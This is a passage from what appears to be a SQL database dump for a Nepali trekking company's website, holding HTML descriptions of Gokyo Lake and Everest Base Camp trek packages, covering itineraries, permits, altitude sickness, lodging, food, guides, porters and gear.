Pass, breathtaking Himalayan view of Everest region, and climbing fascination of Gokyo Ri (5,375m) and Kala patthar (5,545m). This trekking trail gives to you an extraordinary recollection in lifetime due to unique Himalayan beauty, classical Sherpa settlement, soundless Gokyo Lake, glaciers, Tengboche monastery, Chortens, Mani Wall, hospitable local people, marvelous suspension bridges, scenic mountain flight from Kathmandu to Lukla and adventure Cho La Pass ( 5,420m).', NULL, NULL, NULL, NULL, NULL, 0, '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Airport Pickup and drop in Private Transport&nbsp;</li><li style=\"list-style-type:circle;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:circle;\">3 star Hotel in Kathmandu with Twin Share including breakfast only&nbsp;</li><li style=\"list-style-type:circle;\">Kathmandu to Lukla Flight Ticket (Before Trek), Lukla to Kathmandu flight Ticket (After Trek)&nbsp;</li><li style=\"list-style-type:circle;\">Guide flight Ticket Kathmandu-Lukla-Kathmandu (Both way)&nbsp;</li><li style=\"list-style-type:circle;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:circle;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:circle;\">Twin share Tea House Accommodation with Breakfast only during Gokyo Cho La Pass and Everest Base Camp Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Everest/ Sagarmatha National Park Permit, Khumbu Pasang Lamu Rural municipality entrance Fee&nbsp;</li><li style=\"list-style-type:circle;\">Nepal Government Taxes and Office Service Charge&nbsp;<br>&nbsp;</li></ul>', '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Lunch &amp; Dinner during Kathmandu</li><li style=\"list-style-type:circle;\">Lunch &amp; Dinner during Gokyo Cho La Pass and Everest Base Camp Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:circle;\">International Flight Ticket</li><li style=\"list-style-type:circle;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:circle;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:circle;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking</li><li style=\"list-style-type:circle;\">Tips for Guide &amp; Porter<br>&nbsp;</li></ul>', '<h2 style=\"text-align:justify;\">Lukla flight&nbsp;</h2><p style=\"text-align:justify;\"><br>Lukla airport is one of the most exciting airport in the world where in peak seasons, the airport becomes very busy with many flights from Kathmandu. Sometime due to unexpected weather the flight can be delay and cancellation of the flight is common here. If there will be uncertainty Lukla flight, also can have helicopter charter from Kathmandu which will be little expensive than regular aero plane flight. Even sometimes weather will change suddenly, so we suggest to have one more night in Kathmandu after finishing Gokyo, Cho La Pass, Everest Base Camp Trekking.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trekking Difficulty&nbsp;</h2><p style=\"text-align:justify;\">Is it difficult to trek to Gokyo, Chola Pass, and Everest Base Camp? &nbsp;You do not need to be a good Football player or Olympic athlete to success it. Sometime, we have many experience of young people failing to reach Gokyo, Everest Base Camp and older people succeeding. So, anyone who is mentally and physically fit can easily completer the journey to destination. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach Gokyo Lake with EBC with happy mood are the hallmarks of your successful journey to destination. Though, this trekking trail is more challenging having steep hills with zigzagged path, sometime with ice but there will be no need any technical equipment or skill.&nbsp;</p><h2 style=\"text-align:justify;\">High Altitude Sickness&nbsp;</h2><p style=\"text-align:justify;\"><br>If the trekkers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness. &nbsp;The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking Gokyo Lake, EBC with proper clothes and equipment. It can affect people of any age, sex and physical conditions. So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to EBC, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu and Namche Bazaar. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while trekking to Gokyo Lake, Chola Pass and Everest Base Camp.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Best Time to Go&nbsp;</h2><p style=\"text-align:justify;\"><br>If you are looking trek to Gokyo, Chola Pass and Everest Base Camp, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Everest Base Camp is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Everest Base Camp. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.<br>Pre-monsoon is called spring season that covers the month of March, April and May whereas the lower region of Everest, rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather.&nbsp;<br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Accommodation&nbsp;</h2><p style=\"text-align:justify;\"><br>During the trekking trail to Gokyo Lake, Chola pass and Everest Base Camp, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. For luxury trekkers, even there are best lodges in lower part such as in Lukla, Monjo, Phakding and Namche Bazaar with cost per night 100$ above. In our program, we provide simple/normal lodge for trekkers and according of their choice and interest also can provide luxury lodge where available. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night.</p><h2 style=\"text-align:justify;\">&nbsp;<br>Food and water&nbsp;</h2><p style=\"text-align:justify;\"><br>Food and water is very important things during the trekking to Gokyo Lake, Chola Pass and Everest Base Camp. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food during trek due to porter and yaks carry meat from lower region which is not refrigerated that may cause stomach problem. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on.&nbsp;<br><br>Do not drink water from river or water fall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommend to drink 2-3 liters per day.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Guide&nbsp;</h2><p style=\"text-align:justify;\"><br>A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;<br><br>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;<br><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek or other trekking trail, our guide makes successful effort to complete the trip.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Porter&nbsp;</h2><p style=\"text-align:justify;\"><br>Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. During Everest Base Camp, Treking, Guide will fly with the visitors from Kathmandu and he manages the porters who are waiting out of airport for at Lukla airport. During Everest region trek, porters is not living with you rather they stay at porter house, comes early morning to receive the luggage at Visitor\'s Tea house and in the evening same, they depart to own porter house after completing their effort. Porters are the backbone of the trekking without them it will be incomplete. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Lukla, we suggest for visitor to have TIP to porters for their support and cooperation.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Telephone and Internet&nbsp;</h2><p style=\"text-align:justify;\"><br>The internet, telephone and mobile phone is available all the way to Everest Base Camp. There are multiple option for Internet such as Everest Link, with mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. Everest Link internet works all the way to EBC can purchase Wi-Fi cards too but comparatively NCELL and NTC are cheaper that works during trekking trail as well as Kathmandu too. But for trekking route, Everest Link is better due to its speed and capacity. Even the guest houses have WI-FI during the lower region such as Lukla, Phakding and Namche which is not free, may charge to you. &nbsp;But in Gokyo Lake, Chola Pass region both telephone such as NTC and NCELL does not work but the Tea houses have phone for emergency contact to Kathmandu office, out guide can use phone from local tea house.&nbsp;<br>Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Toilet and Shower&nbsp;</h2><p style=\"text-align:justify;\"><br>Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trekking to Gokyo, Chola Pass and Everest Base Camp, in higher route, toilet should be shared by all trekkers due to common Tea houses only with normal beds in the room. But in Lower part such as Lukla, Phakding and Namche Bazaar, there are attached bath room with toilet and shower inside. Bucket Shower is possible in high altitude such as in Gokyo Lake, Chola Pass, Lobuche and Gorakshep due to no running water. But during the time of bad weather for example if heavy snow at that time it is hard to get shower above 4500 meters. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Insurance&nbsp;</h2><p style=\"text-align:justify;\"><br>Trek insurance is very important component during the trek to Everest Base Camp. We suggest trekkers to make plan to be covered up to 5500 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for Everest Base Camp Trek.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Permit&nbsp;</h2><p style=\"text-align:justify;\"><br>Trek permit is required for Gokyo Lake, Chola Pass and Everest Base Camp Trek such as Everest National Park Permit, which is also known as Sagarmatha National Park Permit. This permit can purchased in Nepal Tourism Board of Kathmandu or in Everest National Park entrance gate of Monjo. The cost of Everest National Park Permit is 30$ per person.&nbsp;<br>Khumbu Pasang Lhamu Rural Municipality entrance permit is also mandatory that cost 20$ per person. This permit can obtained at Monjo village of Everest region which was imposed from 1st October 2018 replacing an existing TIMS Card. There is no need Trekker\'s Information Management System (TIMS) Card right now.</p><h2 style=\"text-align:justify;\"><br>Trek Equipment List&nbsp;</h2><p style=\"text-align:justify;\"><br>While trekking to Gokyo Lake, Chola Pass and Everest Base Camp, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Gokyo, Chola Pass and Everest Base Camp. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards &nbsp;Gokyo, Chola Pass and Everest Base Camp Trek.&nbsp;</p><ul><li style=\"text-align:justify;\">Sleeping Bag (-20)&nbsp;</li><li style=\"text-align:justify;\">&nbsp;Trekking poles&nbsp;</li><li style=\"text-align:justify;\">Waterproof hiking boot</li><li style=\"text-align:justify;\">Waterproof warm Gloves</li><li style=\"text-align:justify;\">Sport shoes&nbsp;</li><li style=\"text-align:justify;\">Waterproof hiking Pant</li><li style=\"text-align:justify;\">Fleece pant</li><li style=\"text-align:justify;\">Comfortable underwear&nbsp;</li><li style=\"text-align:justify;\">Warm and thin socks</li><li style=\"text-align:justify;\">Duffel Bag, 90L</li><li style=\"text-align:justify;\">Hand carry bag&nbsp;</li><li style=\"text-align:justify;\">Water bottle&nbsp;</li><li style=\"text-align:justify;\">Hiking Shorts&nbsp;</li><li style=\"text-align:justify;\">Down Jacket</li><li style=\"text-align:justify;\">Warm Cap &amp; Sun Cap&nbsp;</li><li style=\"text-align:justify;\">Sun Glass</li><li style=\"text-align:justify;\">Sun Cream</li><li style=\"text-align:justify;\">Lip care&nbsp;</li><li style=\"text-align:justify;\">Headlamp with extra batteries</li><li style=\"text-align:justify;\">Neck Gaiter &nbsp;</li><li style=\"text-align:justify;\">Lightweight thermal tops</li><li style=\"text-align:justify;\">Waterproof jacket with hood, waterproof and breathable</li><li style=\"text-align:justify;\">Rain coat&nbsp;</li><li style=\"text-align:justify;\">Travel Towel&nbsp;</li><li style=\"text-align:justify;\">Camera</li><li style=\"text-align:justify;\">Personal first Aid Kit (Though our guide also have First Aid Kit)&nbsp;<br>&nbsp;</li></ul>', 'Gokyo – Chola Pass Everest Base Camp Trekking | Nepal Everest Base Camp Trekking', 'Gokyo Chola Pass and Everest Base Camp Trekking offers magnificent Himalayan view above 8000 meters such as Mt. Everest 8,848m, Cho-Oyu 8,153m, and Lhotse 8,511m. This trekking route offers adventure journey to Everest Base Camp by experiencing unique Sherpa culture and their lifestyle.', 'Gokyo –  Chola Pass – Everest Base Camp Trekking, Nepal Everest Base Camp Trekking, Everest Gokyo Chola Pass Trekking, everest base camp trekking, nepal everest base camp gokyo trekking, gokyo valley trekking in nepal, gokyo chola pass trekking, everest gokyo chola pass treking cost & itinerary, everest base camp trekking cost, everest base camp trekking itinerary, everest base camp trekking permit', NULL, '2023-07-16 12:30:56', '2024-12-31 06:12:39'),
(24, 'Gokyo Lake Trekking', 'gokyo-lake-trekking', '336', NULL, '336,333,337,334,323,335', 1, '<p class=\"MsoNormal\" style=\"text-align:justify;\">Gokyo Lake is the best alternate trekking trail to Everest regions, grants extraordinary Himalayan view with frozen glaciers and Lakes. Gokyo Lake is a temperate trek located in high Himalayan part of Everest region. This trekking trail have less crowded tourists instead of having commercial and congested route of Everest Base Camp. This is an exceptional choice for experienced mountain lovers as well as beginner trekkers.&nbsp;<br><br><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\">Gokyo Lake Trek offers amazing view of sunrise panorama, including four 8000 meters Himalaya such as Mt. Everest (8,848m), Makalu (8475m), Cho-Oyu (8,153m), and Lhotse (8,511m). Similarly, on the trail we can also have magnificent Himalayan view of Thamserku (6,623m), Ama Dablam (6,812m), Nuptse (7,861m), Kangtega (6,782m), Taboche (6,542m), Cholatse (6,440m) and more silvery mountains with massive Ngozumpa glacier. This trekking route presents adventure journey to roof of the world also have great opportunity to take photograph with encountering classical Sherpa culture and lifestyle. Trekkers not only explore adventure activities of Himalaya but also encounter distinctive Tibetan culture, their warm hospitality, ancient monasteries and prehistoric trail of yeti. So, trekkers can have life time unforgettable memory after visiting Gokyo Lake.<br><br><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\">The adventure trip to Gokyo Lake begins after having 40 minutes beautiful scenic flight to Lukla from Kathmandu with an elevation of 2800m and even it ends in Lukla after you will complete trekking. We need Sagarmatha National Park Permit and Khumbu Pasang Lamu Rural Municipality permit to entry Gokyo Lake. These permits either you can get in Kathmandu or directly can also have in Monjo village which is the permit check-point of Everest region. The best time to hike Gokyo Lake is in spring (March-May) and autumn season (September –November). During this time, the temperature becomes moderately warm and stable which is the best time for trekking; also having blue sky, good weather, less snow and breathtaking view of white Himalayan Peaks.<br><br><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\">Gokyo Lake trek is challenging trek, need proper physical exercise without any requirement of technical skills. We will have 5-6 hours daily walk starting from Lukla and head up to Phakding, Namche Bazaar, Dole, Machhermo, Gokyo Lake, Gokyo Ri and same way down back to Lukla. High altitude is the most important issue that trekkers need to consider while hiking to Gokyo Ri.<span style=\"mso-spacerun:yes;\">&nbsp; </span>We have to sleep in above 4000 meters 2-3 nights so need proper drinking water for avoiding Acute Mountain Sickness.&nbsp;</p><p class=\"MsoNormal\" style=\"text-align:justify;\"><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\">&nbsp;</p><h4 class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"font-size:14.0pt;\"><span style=\"line-height:107%;\">Highlights</span></span></h4><p class=\"MsoNormal\" style=\"text-align:justify;\">&nbsp;</p><h4 class=\"MsoNormal\" style=\"text-align:justify;\"><o:p></o:p></h4><ol><li style=\"list-style-type:disc;text-align:justify;\">Cultural and historical tour of Kathmandu&nbsp;<o:p></o:p></li><li style=\"list-style-type:disc;text-align:justify;\">Embark scenic mountain flight to Lukla<o:p></o:p></li><li style=\"list-style-type:disc;text-align:justify;\">Encounter breathtaking Himalayan view of Everest Region&nbsp;<o:p></o:p></li><li style=\"list-style-type:disc;text-align:justify;\">Adventure Gokyo Ri climbing, Frozen Glacier and silent Gokyo Lake<o:p></o:p></li><li style=\"list-style-type:disc;text-align:justify;\">Explore classical Sherpa settlement and their life style<o:p></o:p></li><li style=\"list-style-type:disc;text-align:justify;\">Old Buddhist Monastery, Chortens, Mani Wall&nbsp;<o:p></o:p></li><li style=\"list-style-type:disc;text-align:justify;\">Suspension bridge of Jhorsalle,&nbsp;<o:p></o:p></li><li style=\"list-style-type:disc;text-align:justify;\">Amazing residence of Namche Bazzar&nbsp;<br><br>&nbsp;</li></ol><h4 style=\"list-style-type:disc;text-align:justify;\">Outline Itinerary&nbsp;</h4><p style=\"list-style-type:disc;text-align:justify;\">&nbsp;</p><ol style=\"list-style-type:lower-roman;\"><li style=\"list-style-type:lower-roman;text-align:justify;\">Arrival at Kathmandu Airport, Transfer to Hotel, Overnight</li><li style=\"list-style-type:lower-roman;text-align:justify;\">Kathmandu Sightseeing and Trek Preparation, Overnight at Hotel&nbsp;</li><li style=\"list-style-type:lower-roman;text-align:justify;\">Kathmandu-Lukla Flight (35 minute), Trek to Phakding (2652m 3 hrs walk) Overnight at Tea-House&nbsp;</li><li style=\"list-style-type:lower-roman;text-align:justify;\">Phakding- Namche Bazaar (3440m, 6 hrs walk) Overnight at Tea-House&nbsp;</li><li style=\"list-style-type:lower-roman;text-align:justify;\">Acclimatization day at Namche Bazaar (Explore Around) Overnight at Tea-House</li><li style=\"list-style-type:lower-roman;text-align:justify;\">Namche Bazaar - Dole (4110m 6 hrs walk) Overnight at Tea House</li><li style=\"list-style-type:lower-roman;text-align:justify;\">Dole - Machhermo (4470 m 5 hrs walk) Overnight at Tea House</li><li style=\"list-style-type:lower-roman;text-align:justify;\">Machhermo- Gokyo Lake (4800m 5 hrs walk) Overnight at Tea House</li><li style=\"list-style-type:lower-roman;text-align:justify;\">Hike to Gokyo Ri (5357m 3 hrs hike) Back to Gokyo (4800m) Overnight at Tea House</li><li style=\"list-style-type:lower-roman;text-align:justify;\">Gokyo –Dole (4110m 7 hrs walk) Overnight at Tea House</li><li style=\"list-style-type:lower-roman;text-align:justify;\">Dole- Namche Bazaar (3440m 6 hrs walk) Overnight at Tea House</li><li style=\"list-style-type:lower-roman;text-align:justify;\">Namche Bazaar-Lukla (2800m 7 hrs walk0 Overnight at Tea House&nbsp;</li><li style=\"list-style-type:lower-roman;text-align:justify;\">Lukla-Kathmandu flight, Transfer to Hotel, Overnight at Hotel</li><li style=\"list-style-type:lower-roman;text-align:justify;\">Free day / Shopping Day in Kathmandu, Overnight at Hotel</li><li style=\"list-style-type:lower-roman;text-align:justify;\">Departure to Respective Destination<br><o:p></o:p></li></ol>', 'Gokyo Lake is the best alternate trekking trail to Everest regions, grants extraordinary Himalayan view with frozen glaciers and Lakes. Gokyo Lake is a temperate trek located in high Himalayan part of Everest region. This trekking trail have less crowded tourists instead of having commercial and congested route of Everest Base Camp. This is an exceptional choice for experienced mountain lovers as well as beginner trekkers.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;\">Airport Pickup and drop in Private Transport&nbsp;</li><li style=\"list-style-type:square;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:square;\">3 star Hotel in Kathmandu with Twin Share including breakfast only&nbsp;</li><li style=\"list-style-type:square;\">Kathmandu to Lukla Flight Ticket (Before Trek), Lukla to Kathmandu flight Ticket ( After Trek)&nbsp;</li><li style=\"list-style-type:square;\">Guide flight Ticket Kathmandu-Lukla-Kathmandu (Both way)&nbsp;</li><li style=\"list-style-type:square;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:square;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:square;\">Twin share Tea House Accommodation &nbsp;with Breakfast only during Gokyo Lake Trekking&nbsp;</li><li style=\"list-style-type:square;\">Everest/ Sagarmatha National Park Permit, Khumbu Pasang Lamu Rural municipality entrance Fee&nbsp;</li><li style=\"list-style-type:square;\">Nepal Government Taxes and Office Service Charge&nbsp;<br>&nbsp;</li></ul>', '<ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;\">Lunch &amp; Dinner During Kathmandu</li><li style=\"list-style-type:square;\">Lunch &amp; Dinner during Gokyo Lake Trekking&nbsp;</li><li style=\"list-style-type:square;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:square;\">International Flight Ticket</li><li style=\"list-style-type:square;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:square;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:square;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:square;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:square;\">Any other things not mentioned</li></ul><p>&nbsp;</p>', '<h2 style=\"text-align:justify;\">Lukla flight&nbsp;</h2><p style=\"text-align:justify;\"><br>Lukla airport is one of the most exciting airport in the world where in peak seasons, the airport becomes very busy with many flights from Kathmandu. Sometime due to unexpected weather the flight can be delay and cancellation of the flight is common here. If there will be uncertainty Lukla flight, also can have helicopter charter from Kathmandu which will be little expensive than regular aero plane flight. Even sometimes weather will change suddenly, so we suggest to have one more night in Kathmandu after finishing Gokyo Lake Trekking.</p><h2 style=\"text-align:justify;\"><br>Trekking Difficulty&nbsp;</h2><p style=\"text-align:justify;\"><br>Is it difficult to trek to Gokyo Lake? &nbsp;You do not need to be a good Football player or Olympic athlete to success Gokyo Lake trek. Sometime, we have many experience of young people failing to reach Gokyo and older people succeeding. So, anyone who is mentally and physically fit can easily completer the journey to Everest Base Camp. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach Gokyo with happy mood are the hallmarks of your successful journey to destination. Though, Gokyo Lake is challenging trekking trail having steep hills with zigzagged path, sometime with ice but there will be no need any technical equipment or skill.&nbsp;</p><h2 style=\"text-align:justify;\"><br>High Altitude Sickness&nbsp;</h2><p style=\"text-align:justify;\"><br>If the trekkers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness. &nbsp;The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking EBC with proper clothes and equipment. It can affect people of any age, sex and physical conditions. So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to EBC, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu and Namche Bazaar. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while trekking to Everest Base Camp.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Best Time to Go&nbsp;</h2><p style=\"text-align:justify;\"><br>If you are looking for trek to Gokyo Lake, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Everest Base Camp is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Everest Base Camp. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.<br><br>Pre-monsoon is called spring season that covers the month of March, April and May whereas the lower region of Everest, rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather.&nbsp;<br><br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Accommodation&nbsp;</h2><p style=\"text-align:justify;\"><br>During the trekking trail to Gokyo Lake, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. For luxury trekkers, even there are best lodges in lower part such as in Lukla, Monjo, Phakding and Namche Bazaar with cost per night 100$ above. In our program, we provide simple/normal lodge for trekkers and according of their choice and interest also can provide luxury lodge where available. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Food and water&nbsp;</h2><p style=\"text-align:justify;\"><br>Food and water is very important things during the trekking to Gokyo Lake. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food during trek due to porter and yaks carry meat from lower region which is not refrigerated that may cause stomach problem. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on.&nbsp;<br><br>Do not drink water from river or water fall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommend to drink 2-3 liters per day.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Guide&nbsp;</h2><p style=\"text-align:justify;\"><br>A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;<br><br>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;<br><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek or other trekking trail, our guide makes successful effort to complete the trip.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Porter&nbsp;</h2><p style=\"text-align:justify;\"><br>Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. During Everest Base Camp, Treking, Guide will fly with the visitors from Kathmandu and he manages the porters who are waiting out of airport for at Lukla airport. During Everest region trek, porters is not living with you rather they stay at porter house, comes early morning to receive the luggage at Visitor\'s Tea house and in the evening same, they depart to own porter house after completing their effort. Porters are the backbone of the trekking without them it will be incomplete. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Lukla, we suggest for visitor to have TIP to porters for their support and cooperation.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Telephone and Internet&nbsp;</h2><p style=\"text-align:justify;\"><br>The internet, telephone and mobile phone is available all the way to Gokyo Lake. There are multiple option for Internet such as Everest Link, with mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. Everest Link internet works all the way to EBC can purchase Wi-Fi cards too but comparatively NCELL and NTC are cheaper that works during trekking trail as well as Kathmandu too. But for trekking route, Everest Link is better due to its speed and capacity. Even the guest houses have WI-FI during the lower region such as Lukla, Phakding and Namche which is not free, may charge to you. But In Gokyo Lake, personal mobile phone, such as NCELL and NTC does now work so for emergency can use the 